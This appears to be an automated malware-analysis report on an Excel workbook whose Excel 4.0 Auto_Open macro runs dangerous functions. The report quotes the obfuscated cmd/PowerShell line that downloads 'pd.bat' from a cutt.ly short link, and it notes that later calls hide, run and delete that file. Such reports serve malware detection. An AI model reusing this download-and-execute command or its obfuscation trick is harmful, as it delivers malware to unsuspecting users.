Malware Insights
The critical heuristics OLE_XLM_AUTOOPEN and OLE_XLM_DANGEROUS_FN indicate the presence of an Excel 4.0 macro sheet with an Auto_Open entry that executes dangerous functions. The extracted XLM macro script confirms this, showing multiple EXEC calls. One EXEC call reconstructs the PowerShell command 'c' & CHAR(109) & 'd /c ' & CHAR(112) & 'o^wer^she^l^l -w 1 (nEw-oB`jecT Ne' & CHAR(116) & CHAR(46) & CHAR(87) & CHAR(101) & 'bcLIENt).(\'Down\'+\'loadFile\').In' & CHAR(118) & 'oke(\'https://cutt.ly/Ujr1f6G\',\'pd' & CHAR(46) & 'bat\')' which downloads a file named 'pd.bat' from 'https://cutt.ly/Ujr1f6G' into the %TEMP% directory. Subsequent EXEC calls attempt to hide, execute, and then clean up the downloaded 'pd.bat' file.
Heuristics 3
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Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAMEoletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
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XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FNExcel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
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Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPENWorkbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
xlm_macros.txt5f5e8169c94a0147972b8103b0770bed1a1b6ef8e62bbd76a2b15981a095b6f1 |
xlm-macro | oletools.olevba.extract_all_macros (XLM macro listing) | 1436 bytes |
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